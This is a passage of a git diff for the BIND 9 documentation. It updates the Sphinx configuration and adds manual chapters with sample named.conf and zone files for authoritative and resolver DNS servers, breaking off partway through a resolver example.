 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,7 +11,9 @@
 # information regarding copyright ownership.
 ############################################################################
 
-# flake8: noqa: E501
+from pathlib import Path
+import re
+import sys
 
 from typing import List, Tuple
 
@@ -18,10 +22,24 @@
 from docutils.parsers.rst import roles
 
 from sphinx import addnodes
-from sphinx.util.docutils import ReferenceRole
 
+try:
+    from sphinx.util.docutils import ReferenceRole
+except ImportError:
+    # pylint: disable=too-few-public-methods
+    class ReferenceRole(roles.GenericRole):
+        """
+        The ReferenceRole class (used as a base class by GitLabRefRole
+        below) is only defined in Sphinx >= 2.0.0.  For older Sphinx
+        versions, this stub version of the ReferenceRole class is used
+        instead.
+        """
+
+        def __init__(self):
+            super().__init__("", nodes.strong)
 
-GITLAB_BASE_URL = 'https://gitlab.isc.org/isc-projects/bind9/-/'
+
+GITLAB_BASE_URL = "https://gitlab.isc.org/isc-projects/bind9/-/"
 
 
 # Custom Sphinx role enabling automatic hyperlinking to GitLab issues/MRs.
@@ -31,25 +49,26 @@ def __init__(self, base_url: str) -> None:
         super().__init__()
 
     def run(self) -> Tuple[List[Node], List[system_message]]:
-        gl_identifier = '[GL %s]' % self.target
+        gl_identifier = "[GL %s]" % self.target
 
-        target_id = 'index-%s' % self.env.new_serialno('index')
-        entries = [('single', 'GitLab; ' + gl_identifier, target_id, '', None)]
+        target_id = "index-%s" % self.env.new_serialno("index")
+        entries = [("single", "GitLab; " + gl_identifier, target_id, "", None)]
 
         index = addnodes.index(entries=entries)
-        target = nodes.target('', '', ids=[target_id])
+        target = nodes.target("", "", ids=[target_id])
         self.inliner.document.note_explicit_target(target)
 
         try:
             refuri = self.build_uri()
-            reference = nodes.reference('', '', internal=False, refuri=refuri,
-                                        classes=['gl'])
+            reference = nodes.reference(
+                "", "", internal=False, refuri=refuri, classes=["gl"]
+            )
             if self.has_explicit_title:
                 reference += nodes.strong(self.title, self.title)
             else:
                 reference += nodes.strong(gl_identifier, gl_identifier)
         except ValueError:
-            error_text = 'invalid GitLab identifier %s' % self.target
+            error_text = "invalid GitLab identifier %s" % self.target
             msg = self.inliner.reporter.error(error_text, line=self.lineno)
             prb = self.inliner.problematic(self.rawtext, self.rawtext, msg)
             return [prb], [msg]
@@ -57,15 +76,17 @@ def run(self) -> Tuple[List[Node], List[system_message]]:
         return [index, target, reference], []
 
     def build_uri(self):
-        if self.target[0] == '#':
-            return self.base_url + 'issues/%d' % int(self.target[1:])
-        if self.target[0] == '!':
-            return self.base_url + 'merge_requests/%d' % int(self.target[1:])
+        if self.target[0] == "#":
+            return self.base_url + "issues/%d" % int(self.target[1:])
+        if self.target[0] == "!":
+            return self.base_url + "merge_requests/%d" % int(self.target[1:])
         raise ValueError
 
 
-def setup(_):
-    roles.register_local_role('gl', GitLabRefRole(GITLAB_BASE_URL))
+def setup(app):
+    roles.register_local_role("gl", GitLabRefRole(GITLAB_BASE_URL))
+    app.add_crossref_type("iscman", "iscman", "pair: %s; manual page")
+
 
 #
 # Configuration file for the Sphinx documentation builder.
@@ -78,69 +99,91 @@ def setup(_):
 
 # If extensions (or modules to document with autodoc) are in another directory,
 # add these directories to sys.path here. If the directory is relative to the
-# documentation root, use os.path.abspath to make it absolute, like shown here.
+# documentation root, make it absolute.
 #
-# import os
-# import sys
-# sys.path.insert(0, os.path.abspath('.'))
-
+sys.path.append(str(Path(__file__).resolve().parent / "_ext"))
+sys.path.append(str(Path(__file__).resolve().parent.parent / "misc"))
 
 # -- Project information -----------------------------------------------------
 
-project = u'BIND 9'
+project = "BIND 9"
 # pylint: disable=redefined-builtin
-copyright = u'2021, Internet Systems Consortium'
-author = u'Internet Systems Consortium'
+copyright = "2023, Internet Systems Consortium"
+author = "Internet Systems Consortium"
+
+m4_vars = {}
+with open("../../configure.ac", encoding="utf-8") as configure_ac:
+    for line in configure_ac:
+        match = re.match(
+            r"m4_define\(\[(?P<key>bind_VERSION_[A-Z]+)\], (?P<val>[^)]*)\)dnl", line
+        )
+        if match:
+            m4_vars[match.group("key")] = match.group("val")
+
+version = "%s.%s.%s%s" % (
+    m4_vars["bind_VERSION_MAJOR"],
+    m4_vars["bind_VERSION_MINOR"],
+    m4_vars["bind_VERSION_PATCH"],
+    m4_vars["bind_VERSION_EXTRA"],
+)
+release = version
 
 # -- General configuration ---------------------------------------------------
 
 # Add any Sphinx extension module names here, as strings. They can be
 # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
 # ones.
-extensions = []
+extensions = ["namedconf", "rndcconf"]
 
 # Add any paths that contain templates here, relative to this directory.
-templates_path = ['_templates']
+templates_path = ["_templates"]
 
 # List of patterns, relative to source directory, that match files and
 # directories to ignore when looking for source files.
 # This pattern also affects html_static_path and html_extra_path.
-exclude_patterns = [
-    '_build',
-    'Thumbs.db',
-    '.DS_Store',
-    '*.grammar.rst',
-    '*.zoneopts.rst',
-    'catz.rst',
-    'dlz.rst',
-    'dnssec.rst',
-    'dyndb.rst',
-    'logging-cattegories.rst',
-    'managed-keys.rst',
-    'pkcs11.rst',
-    'plugins.rst'
-    ]
+exclude_patterns = ["_build", "Thumbs.db", ".DS_Store", "*.inc.rst"]
 
 # The master toctree document.
-master_doc = 'index'
+master_doc = "index"
 
 # -- Options for HTML output -------------------------------------------------
 
 # The theme to use for HTML and HTML Help pages.  See the documentation for
 # a list of builtin themes.
 #
-html_theme = 'sphinx_rtd_theme'
+html_theme = "sphinx_rtd_theme"
+html_static_path = ["_static"]
+html_css_files = ["custom.css"]
 
 # -- Options for EPUB output -------------------------------------------------
 
-epub_basename = 'Bv9ARM'
+epub_basename = "Bv9ARM"
 
 # -- Options for LaTeX output ------------------------------------------------
-latex_engine = 'xelatex'
+latex_engine = "xelatex"
 
 # pylint disable=line-too-long
 latex_documents = [
-    (master_doc, 'Bv9ARM.tex', u'BIND 9 Administrator Reference Manual', author, 'manual'),
-    ]
+    (
+        master_doc,
+        "Bv9ARM.tex",
+        "BIND 9 Administrator Reference Manual",
+        author,
+        "manual",
+    ),
+]
 
 latex_logo = "isc-logo.pdf"
+
+#
+# The rst_epilog will be completely overwritten from the Makefile,
+# the definition here is provided purely for situations when
+# sphinx-build is run by hand.
+#
+rst_epilog = """
+.. |rndc_conf| replace:: ``/etc/rndc.conf``
+.. |rndc_key| replace:: ``/etc/rndc.key``
+.. |named_conf| replace:: ``/etc/named.conf``
+.. |named_pid| replace:: ``/run/named.pid``
+.. |session_key| replace:: ``/run/session.key``
+"""
diff --git a/doc/arm/config-auth.inc.rst b/doc/arm/config-auth.inc.rst
new file mode 100644
index 0000000000..b054fb0904
--- /dev/null
+++ b/doc/arm/config-auth.inc.rst
@@ -0,0 +1,268 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _config_auth_samples:
+
+Authoritative Name Servers
+--------------------------
+
+These provide authoritative answers to user queries for the zones
+they support: for instance, the zone data describing the domain name **example.com**. An
+authoritative name server may support one or many zones.
+
+Each zone may be defined as either a **primary** or a **secondary**. A primary zone
+reads its zone data directly from a file system. A secondary zone obtains its zone
+data from the primary zone using a process called **zone transfer**. Both the primary
+and the secondary zones provide authoritative data for their zone; there is no difference
+in the answer to a query from a primary or a secondary zone. An authoritative name server
+may support any combination of primary and secondary zones.
+
+.. Note:: The terms **primary** and **secondary** do not imply any access
+   priority. Resolvers (name servers that provide the complete answers to user
+   queries) are not aware of (and cannot find out) whether an authoritative
+   answer comes from the primary or secondary name server. Instead, the
+   resolver uses the list of authoritative servers for the zone (there must be
+   at least two) and maintains a Round Trip Time (RTT) - the time taken to
+   respond to the query - for each server in the list.  The resolver uses the
+   lowest-value server (the fastest) as its preferred server for the zone and
+   continues to do so until its RTT becomes higher than the next slowest in its
+   list, at which time that one becomes the preferred server.
+
+   For reasons of backward compatibility BIND 9 treats "primary" and "master" as
+   synonyms, as well as "secondary" and "slave."
+
+The following diagram shows the relationship between the primary and secondary
+name servers. The text below explains the process in detail.
+
+.. figure:: primary-secondary.png
+   :align: center
+
+   Authoritative Primary and Secondary Name Servers
+
+The numbers in parentheses in the following text refer to the numbered items in the diagram above.
+
+1. The authoritative primary name server always loads (or reloads) its zone
+   files from (1) a local or networked filestore.
+
+2. The authoritative secondary name server always loads its zone data from a
+   primary via a **zone transfer** operation.  Zone transfer may use **AXFR**
+   (complete zone transfer) or **IXFR** (incremental zone transfer), but only
+   if both primary and secondary name servers support the service. The zone
+   transfer process (either AXFR or IXFR) works as follows:
+
+   a) The secondary name server for the zone reads (3 and 4) the
+      :ref:`SOA RR<soa_rr>` periodically. The interval is defined by the **refresh**
+      parameter of the Start of Authority (SOA) RR.
+
+   b) The secondary compares the **serial number** parameter of the SOA RR
+      received from the primary with the serial number in the SOA RR of its
+      current zone data.
+
+   c) If the received serial number is arithmetically greater (higher) than the
+      current one, the secondary initiates a zone transfer (5) using AXFR or IXFR
+      (depending on the primary and secondary configuration), using TCP over
+      port 53 (6).
+
+3. The typically recommended zone refresh times for the SOA RR (the time
+   interval when the secondary reads or polls the primary for the zone SOA RR)
+   are multiples of hours to reduce traffic loads. Worst-case zone change
+   propagation can therefore take extended periods.
+
+4. The optional NOTIFY (:rfc:`1996`) feature (2) is automatically configured;
+   use the :namedconf:ref:`notify` statement to turn off the feature.
+   Whenever the primary loads or reloads a zone, it sends a NOTIFY message to
+   the configured secondary (or secondaries) and may optionally be configured
+   to send the NOTIFY message to other hosts using the
+   :any:`also-notify` statement.  The NOTIFY message simply
+   indicates to the secondary that the primary has loaded or reloaded the zone.
+   On receipt of the NOTIFY message, the secondary respons to indicate it has received the NOTIFY and immediately reads the SOA RR
+   from the primary (as described in section 2 a. above). If the zone file has
+   changed, propagation is practically immediate.
+
+The authoritative samples all use NOTIFY but identify the statements used, so
+that they can be removed if not required.
+
+.. _sample_primary:
+
+Primary Authoritative Name Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The zone files are unmodified :ref:`from the base samples<base_zone_file>` but
+the :iscman:`named.conf` file has been modified as shown:
+
+.. code-block:: c
+
+        // authoritative primary named.conf file
+        // options clause defining the server-wide properties
+        options {
+          // all relative paths use this directory as a base
+          directory "/var";
+          // version statement for security to avoid hacking known weaknesses
+          // if the real version number is revealed
+          version "not currently available";
+          // This is the default - allows user queries from any IP
+          allow-query { any; };
+          // normal server operations may place items in the cache
+          // this prevents any user query from accessing these items
+          // only authoritative zone data will be returned
+          allow-query-cache { none; };
+          // Do not provide recursive service to user queries
+          recursion no;
+        };
+        // logging clause
+        // log to /var/log/named/example.log all events from info UP in severity (no debug)
+        // uses 3 files in rotation swaps files when size reaches 250K
+        // failure messages that occur before logging is established are
+        // in syslog (/var/log/messages)
+        //
+        logging {
+          channel example_log {
+            // uses a relative path name and the directory statement to
+            // expand to /var/log/named/example.log
+            file "log/named/example.log" versions 3 size 250k;
+            // only log info and up messages - all others discarded
+            severity info;
+          };
+          category default {
+            example_log;
+          };
+        };
+        // Provide forward mapping zone for localhost
+        // (optional)
+        zone "localhost" {
+          type primary;
+          file "master/localhost-forward.db";
+          notify no;
+        };
+        // Provide reverse mapping zone for the loopback
+        // address 127.0.0.1
+        zone "0.0.127.in-addr.arpa" {
+          type primary;
+          file "localhost.rev";
+          notify no;
+        };
+        // We are the primary server for example.com
+        zone "example.com" {
+          // this is the primary name server for the zone
+          type primary;
+          file "example.com";
+          // this is the default
+          notify yes;
+          // IP addresses of secondary servers allowed to
+          // transfer example.com from this server
+          allow-transfer {
+            192.168.4.14;
+            192.168.5.53;
+          };
+        };
+
+The added statements and blocks are commented in the above file.
+
+The :any:`zone` block, and :any:`allow-query`,
+:any:`allow-query-cache`,
+:any:`allow-transfer`, :any:`file`,
+:namedconf:ref:`notify`, :any:`recursion`, and :any:`type`
+statements are described in detail in the appropriate sections.
+
+.. _sample_secondary:
+
+Secondary Authoritative Name Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The zone files ``local-host-forward.db`` and ``localhost.rev`` are unmodified
+:ref:`from the base samples<base_zone_file>`. The **example.com** zone file is
+not required (the zone file is obtained from the primary via zone transfer).
+The :ref:`named.conf<named_conf>` file has been modified as shown:
+
+.. code-block:: c
+
+        // authoritative secondary named.conf file
+        // options clause defining the server-wide properties
+        options {
+          // all relative paths use this directory as a base
+          directory "/var";
+          // version statement for security to avoid hacking known weaknesses
+          // if the real version number is revealed
+          version "not currently available";
+          // This is the default - allows user queries from any IP
+          allow-query { any; };
+          // normal server operations may place items in the cache
+          // this prevents any user query from accessing these items
+          // only authoritative zone data will be returned
+          allow-query-cache { none; };
+          // Do not provide recursive service to user queries
+          recursion no;
+        };
+        // logging clause
+        // log to /var/log/named/example.log all events from info UP in severity (no debug)
+        // uses 3 files in rotation swaps files when size reaches 250K
+        // failure messages that occur before logging is established are
+        // in syslog (/var/log/messages)
+        //
+        logging {
+          channel example_log {
+            // uses a relative path name and the directory statement to
+            // expand to /var/log/named/example.log
+            file "log/named/example.log" versions 3 size 250k;
+            // only log info and up messages - all others discarded
+            severity info;
+           };
+           category default {
+             example_log;
+          };
+        };
+        // Provide forward mapping zone for localhost
+        // (optional)
+        zone "localhost" {
+          type primary;
+          file "master/localhost-forward.db";
+          notify no;
+        };
+        // Provide reverse mapping zone for the loopback
+        // address 127.0.0.1
+        zone "0.0.127.in-addr.arpa" {
+          type primary;
+          file "localhost.rev";
+          notify no;
+        };
+        // We are the secondary server for example.com
+        zone "example.com" {
+          // this is a secondary server for the zone
+          type secondary;
+          // the file statement here allows the secondary to save
+          // each zone transfer so that in the event of a program restart
+          // the zone can be loaded immediately and the server can start
+          // to respond to queries without waiting for a zone transfer
+          file "example.com.saved";
+          // IP address of example.com primary server
+          primaries { 192.168.254.2; };
+        };
+
+The statements and blocks added are all commented in the above file.
+
+The :any:`zone` block, and :any:`allow-query`,
+:any:`allow-query-cache`,
+:any:`allow-transfer`, :any:`file`,
+:namedconf:ref:`primaries`,
+:any:`recursion`, and :any:`type` statements are described in
+detail in the appropriate sections.
+
+If NOTIFY is not being used, no changes are required in this
+:ref:`named.conf<named_conf>` file, since it is the primary that initiates the NOTIFY
+message.
+
+.. note::
+   Just when the reader thought they understood primary and secondary, things
+   can get more complicated.  A secondary zone can also be a primary to other
+   secondaries: :iscman:`named`, by default, sends NOTIFY messages for every
+   zone it loads.  Specifying :ref:`notify primary-only;<notify>` in the
+   :any:`zone` block for the secondary causes :iscman:`named` to
+   only send NOTIFY messages for primary zones that it loads.
diff --git a/doc/arm/config-intro.inc.rst b/doc/arm/config-intro.inc.rst
new file mode 100644
index 0000000000..d041eccf5f
--- /dev/null
+++ b/doc/arm/config-intro.inc.rst
@@ -0,0 +1,205 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _configuration:
+
+.. _sample_configuration:
+
+Configurations and Zone Files
+=============================
+
+Introduction
+------------
+
+BIND 9 uses a single configuration file called :ref:`named.conf <named_conf>`.
+which is typically located in either /etc/namedb or
+/usr/local/etc/namedb.
+
+   .. Note:: If :ref:`rndc<ops_rndc>` is being used locally (on the same host
+      as BIND 9) then an additional file :iscman:`rndc.conf` may be present, though
+      :iscman:`rndc` operates without this file. If :iscman:`rndc` is being run
+      from a remote host then an :iscman:`rndc.conf` file must be present as it
+      defines the link characteristics and properties.
+
+Depending on the functionality of the system, one or more zone files is
+required.
+
+The samples given throughout this and subsequent chapters use a standard base
+format for both the :iscman:`named.conf` and the zone files for **example.com**. The
+intent is for the reader to see the evolution from a common base as features
+are added or removed.
+
+.. _base_named_conf:
+
+``named.conf`` Base File
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+This file illustrates the typical format and layout style used for
+:iscman:`named.conf` and provides a basic logging service, which may be extended
+as required by the user.
+
+.. code-block:: c
+
+        // base named.conf file
+        // Recommended that you always maintain a change log in this file as shown here
+        // options clause defining the server-wide properties
+        options {
+          // all relative paths use this directory as a base
+          directory "/var";
+          // version statement for security to avoid hacking known weaknesses
+          // if the real version number is revealed
+          version "not currently available";
+        };
+
+        // logging clause
+        // log to /var/log/named/example.log all events from info UP in severity (no debug)
+        // uses 3 files in rotation swaps files when size reaches 250K
+        // failure messages that occur before logging is established are
+        // in syslog (/var/log/messages)
+        //
+        logging {
+          channel example_log {
+            // uses a relative path name and the directory statement to
+            // expand to /var/log/named/example.log
+            file "log/named/example.log" versions 3 size 250k;
+            // only log info and up messages - all others discarded
+            severity info;
+          };
+          category default {
+            example_log;
+          };
+        };
+
+The :any:`logging` and :namedconf:ref:`options` blocks
+and :any:`category`, :any:`channel`,
+:any:`directory`, :any:`file`, and :any:`severity`
+statements are all described further in the appropriate sections of this ARM.
+
+.. _base_zone_file:
+
+**example.com** base zone file
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The following is a complete zone file for the domain **example.com**, which
+illustrates a number of common features. Comments in the file explain these
+features where appropriate.  Zone files consist of :ref:`Resource Records (RR)
+<zone_file>`, which describe the zone's characteristics or properties.
+
+.. code-block::
+        :linenos:
+
+        ; base zone file for example.com
+        $TTL 2d    ; default TTL for zone
+        $ORIGIN example.com. ; base domain-name
+        ; Start of Authority RR defining the key characteristics of the zone (domain)
+        @         IN      SOA   ns1.example.com. hostmaster.example.com. (
+                                        2003080800 ; serial number
+                                        12h        ; refresh
+                                        15m        ; update retry
+                                        3w         ; expiry
+                                        2h         ; minimum
+                                        )
+        ; name server RR for the domain
+                   IN      NS      ns1.example.com.
+        ; the second name server is external to this zone (domain)
+                   IN      NS      ns2.example.net.
+        ; mail server RRs for the zone (domain)
+                3w IN      MX  10  mail.example.com.
+        ; the second  mail servers is  external to the zone (domain)
+                   IN      MX  20  mail.example.net.
+        ; domain hosts includes NS and MX records defined above
+        ; plus any others required
+        ; for instance a user query for the A RR of joe.example.com will
+        ; return the IPv4 address 192.168.254.6 from this zone file
+        ns1        IN      A       192.168.254.2
+        mail       IN      A       192.168.254.4
+        joe        IN      A       192.168.254.6
+        www        IN      A       192.168.254.7
+        ; aliases ftp (ftp server) to an external domain
+        ftp        IN      CNAME   ftp.example.net.
+
+This type of zone file is frequently referred to as a **forward-mapped zone
+file**, since it maps domain names to some other value, while a
+:ref:`reverse-mapped zone file<ipv4_reverse>` maps an IP address to a domain
+name.  The zone file is called **example.com** for no good reason except that
+it is the domain name of the zone it describes; as always, users are free to
+use whatever file-naming convention is appropriate to their needs.
+
+Other Zone Files
+~~~~~~~~~~~~~~~~
+
+Depending on the configuration additional zone files may or should be present.
+Their format and functionality are briefly described here.
+
+localhost Zone File
+~~~~~~~~~~~~~~~~~~~
+
+All end-user systems are shipped with a ``hosts`` file (usually located in
+/etc). This file is normally configured to map the name **localhost** (the name
+used by applications when they run locally) to the loopback address. It is
+argued, reasonably, that a forward-mapped zone file for **localhost** is
+therefore not strictly required. This manual does use the BIND 9 distribution
+file ``localhost-forward.db`` (normally in /etc/namedb/master or
+/usr/local/etc/namedb/master) in all configuration samples for the following
+reasons:
+
+1. Many users elect to delete the ``hosts`` file for security reasons (it is a
+   potential target of serious domain name redirection/poisoning attacks).
+
+2. Systems normally lookup any name (including domain names) using the
+   ``hosts`` file first (if present), followed by DNS. However, the
+   ``nsswitch.conf`` file (typically in /etc) controls this order (normally
+   **hosts: file dns**), allowing the order to be changed or the **file** value
+   to be deleted entirely depending on local needs.  Unless the BIND
+   administrator controls this file and knows its values, it is unsafe to
+   assume that **localhost** is forward-mapped correctly.
+
+3. As a reminder to users that unnecessary queries for **localhost** form a
+   non-trivial volume of DNS queries on the public network, which affects DNS
+   performance for all users.
+
+Users may, however, elect at their discretion not to implement this file since,
+depending on the operational environment, it may not be essential.
+
+The BIND 9 distribution file ``localhost-forward.db`` format is shown for
+completeness and provides for both IPv4 and IPv6 localhost resolution. The zone
+(domain) name is **localhost.**
+
+.. code-block::
+
+        $TTL 3h
+        localhost.  SOA      localhost.  nobody.localhost. 42  1d  12h  1w  3h
+                    NS       localhost.
+                    A        127.0.0.1
+                    AAAA     ::1
+
+.. NOTE:: Readers of a certain age or disposition may note the reference in this file to the late,
+	lamented Douglas Noel Adams.
+
+localhost Reverse-Mapped Zone File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This zone file allows any query requesting the name associated with the
+loopback IP (127.0.0.1).  This file is required to prevent unnecessary queries
+from reaching the public DNS hierarchy. The BIND 9 distribution file
+``localhost.rev`` is shown for completeness:
+
+.. code-block::
+
+        $TTL 1D
+        @        IN        SOA  localhost. root.localhost. (
+                                2007091701 ; serial
+                                30800      ; refresh
+                                7200       ; retry
+                                604800     ; expire
+                                300 )      ; minimum
+                 IN        NS    localhost.
+        1        IN        PTR   localhost.
diff --git a/doc/arm/config-resolve.inc.rst b/doc/arm/config-resolve.inc.rst
new file mode 100644
index 0000000000..fcfa97e20d
--- /dev/null
+++ b/doc/arm/config-resolve.inc.rst
@@ -0,0 +1,566 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _config_resolver_samples:
+
+Resolver (Caching Name Servers)
+-------------------------------
+
+Resolvers handle :ref:`recursive user queries <recursive_query>` and provide
+complete answers; that is, they issue one or more :ref:`iterative queries
+<iterative_query>` to the DNS hierarchy.  Having obtained a complete answer (or
+an error), a resolver passes the answer to the user and places it in its cache.
+Subsequent user requests for the same query will be answered from the
+resolver's cache until the :term:`TTL` of the cached answer has expired, when
+it will be flushed from the cache; the next user query that requests the same
+information results in a new series of queries to the DNS hierarchy.
+
+Resolvers are frequently referred to by a bewildering variety of names,
+including caching name servers, recursive name servers, forwarding resolvers,
+area resolvers, and full-service resolvers.
+
+The following diagram shows how resolvers can function in a typical networked
+environment:
+
+.. figure:: resolver-forward.png
+   :align: center
+
+Resolver and Forwarding Resolver
+
+1. End-user systems are all distributed with a local **stub resolver** as a
+   standard feature. Today, the majority of stub resolvers also provide a local
+   cache service to speed up user response times.
+
+2. A stub resolver has limited functionality; specifically, it cannot follow
+   :ref:`referrals<referral>`. When a stub resolver receives a request for a
+   name from a local program, such as a browser, and the answer is not in its
+   local cache, it sends a :ref:`recursive user query<recursive_query>` (1) to
+   a locally configured resolver (5), which may have the answer available in
+   its cache. If it does not, it issues :ref:`iterative
+   queries<iterative_query>` (2) to the DNS hierarchy to obtain the answer. The
+   resolver to which the local system sends the user query is configured, for
+   Linux and Unix hosts, in ``/etc/resolv.conf``; for Windows users it is
+   configured or changed via the Control Panel or Settings interface.
+
+3. Alternatively, the user query can be sent to a **forwarding resolver** (4).
+   Forwarding resolvers on first glance look fairly pointless, since they
+   appear to be acting as a simple pass-though and, like the stub resolver,
+   require a full-service resolver (5). However, forwarding resolvers can be
+   very powerful additions to a network for the following reasons:
+
+   a) Cost and Performance. Each **recursive user query** (1) at the forwarding
+      resolver (4) results in two messages - the query and its answer. The resolver
+      (5) may have to issue three, four, or more query pairs (2) to get the required
+      answer. Traffic is reduced dramatically, increasing performance or reducing
+      cost (if the link is tariffed). Additionally, since the forwarding resolver is
+      typically shared across multiple hosts, its cache is more likely to contain
+      answers, again improving user performance.
+
+   b) Network Maintenance. Forwarding resolvers (4) can be used to ease the burden
+      of local administration by providing a single point at which changes to remote
+      name servers can be managed, rather than having to update all hosts. Thus, all
+      hosts in a particular network section or area can be configured to point to a
+      forwarding resolver, which can be configured to stream DNS traffic as desired
+      and changed over time with minimal effort.
+
+   c) Sanitizing Traffic. Especially in larger private networks it may be sensible
+      to stream DNS traffic using a forwarding resolver structure.  The forwarding
+      resolver (4) may be configured, for example, to handle all in-domain traffic
+      (relatively safe) and forward all external traffic to a **hardened** resolver
+      (5).
+
+   d) Stealth Networks. Forwarding resolvers are extensively used in :ref:`stealth
+      or split networks<split_dns_sample>`.
+
+4. Forwarding resolvers (4) can be configured to forward all traffic to a
+   resolver (5), or to only forward selective traffic (5) while directly
+   resolving other traffic (3).
+
+.. Attention:: While the diagram above shows **recursive user queries**
+   arriving via interface (1), there is nothing to stop them from arriving via
+   interface (2) via the public network. If no limits are placed on the source
+   IPs that can send such queries, the resolver is termed an **open resolver**.
+   Indeed, when the world was young this was the way things worked on the
+   Internet. Much has changed and what seems to be a friendly, generous action
+   can be used by rogue actors to cause all kinds of problems including
+   **Denial of Service (DoS)** attacks. Resolvers should always be configured
+   to limit the IP addresses that can use their services. BIND 9 provides a
+   number of statements and blocks to simplify defining these IP limits and
+   configuring a **closed resolver**. The resolver samples given here all
+   configure closed resolvers using a variety of techniques.
+
+Additional Zone Files
+~~~~~~~~~~~~~~~~~~~~~
+
+Root Servers (Hint) Zone File
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Resolvers (although not necessarily forwarding resolvers) need to access the
+DNS hierarchy. To do this, they need to know the addresses (IPv4 and/or IPv6)
+of the 13 :ref:`root servers<root_servers>`. This is done by the provision of a
+root server zone file, which is contained in the standard BIND 9 distribution
+as the file ``named.root`` (normally found in /etc/namedb or
+/usr/local/namedb). This file may also be obtained from the IANA website
+(https://www.iana.org/domains/root/files).
+
+
+   .. Note:: Many distributions rename this file for historical reasons.
+      Consult the appropriate distribution documentation for the actual file name.
+
+
+The hint zone file is referenced using the :any:`type hint` statement and
+a zone (domain) name of "." (the generally silent dot).
+
+   .. Note:: The root server IP addresses have been stable for a number of
+      years and are likely to remain stable for the near future. BIND 9 has a
+      root-server list in its executable such that even if this file is omitted,
+      out-of-date, or corrupt BIND 9 can still function. For this reason, many
+      sample configurations omit the hints file. All the samples given here
+      include the hints file primarily as a reminder of the functionality of the
+      configuration, rather than as an absolute necessity.
+
+Private IP Reverse Map Zone Files
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Resolvers are configured to send :ref:`iterative queries<iterative_query>` to
+the public DNS hierarchy when the information requested is not in their cache
+or not defined in any local zone file. Many networks make extensive use of
+private IP addresses (defined by :rfc:`1918`, :rfc:`2193`, :rfc:`5737`, and
+:rfc:`6598`).  By their nature these IP addresses are forward-mapped in various
+user zone files. However, certain applications may issue **reverse map**
+queries (mapping an IP address to a name). If the private IP addresses are not
+defined in one or more reverse-mapped zone file(s), the resolver sends them to
+the DNS hierarchy where they are simply useless traffic, slowing down DNS
+responses for all users.
+
+Private IP addresses may be defined using standard :ref:`reverse-mapping
+techniques<ipv4_reverse>` or using the
+:any:`empty-zones-enable` statement. By
+default this statement is set to ``empty-zones-enable yes;`` and thus automatically prevents
+unnecessary DNS traffic by sending an NXDOMAIN error response (indicating the
+name does not exist) to any request.  However, some applications may require a
+genuine answer to such reverse-mapped requests or they will fail to function.
+Mail systems in particular perform reverse DNS queries as a first-line spam
+check; in this case a reverse-mapped zone file is essential.  The sample
+configuration files given here for both the resolver and the forwarding
+resolver provide a reverse-mapping zone file for the private IP address
+192.168.254.4, which is the mail server address in the :ref:`base zone
+file<base_zone_file>`, as an illustration of the reverse-map technique. The
+file is named ``192.168.254.rev`` and has a zone name of
+**254.168.192.in-addr.arpa**.
+
+.. code-block::
+
+	; reverse map zone file for 192.168.254.4 only
+	$TTL 2d  ; 172800 seconds
+	$ORIGIN 254.168.192.IN-ADDR.ARPA.
+	@     IN      SOA   ns1.example.com. hostmaster.example.com. (
+						2003080800 ; serial number
+						3h         ; refresh
+						15m        ; update retry
+						3w         ; expiry
+						3h         ; nx = nxdomain ttl
+						)
+	; only one NS is required for this local file
+	; and is an out of zone name
+	      IN      NS      ns1.example.com.
+	; other IP addresses can be added as required
+	; this maps 192.168.254.4 as shown
+	4     IN      PTR     mail.example.com. ; fully qualified domain name (FQDN)
+
+.. _sample_resolver:
+
+Resolver Configuration
+~~~~~~~~~~~~~~~~~~~~~~
+
+The resolver provides :ref:`recursive query support<recursive_query>` to a defined set of IP addresses.
+It is therefore a **closed** resolver and cannot be used in wider network attacks.
+
+.. code-block:: c
+
+        // resolver named.conf file
+        // Two corporate subnets we wish to allow queries from
+        // defined in an acl clause
+        acl corpnets {
+          192.168.4.0/24;
+          192.168.7.0/24;
+        };
+
+        // options clause defining the server-wide properties
+        options {
+          // all relative paths use this directory as a base
+          directory "/var";
+          // version statement for security to avoid hacking known weaknesses
+          // if the real version number is revealed
+          version "not currently available";
+          // this is the default
+          recursion yes;
+          // recursive queries only allowed from these ips
+          // and references the acl clause
+          allow-query { corpnets; };
+          // this ensures that any reverse map for private IPs
+          // not defined in a zone file will *not* be passed to the public network
+          // it is the default value
+          empty-zones-enable yes;
+        };
+
+        // logging clause
+        // log to /var/log/named/example.log all events from info UP in severity (no debug)
+        // uses 3 files in rotation swaps files when size reaches 250K
+        // failure messages that occur before logging is established are
+        // in syslog (/var/log/messages)
+        //
+        logging {
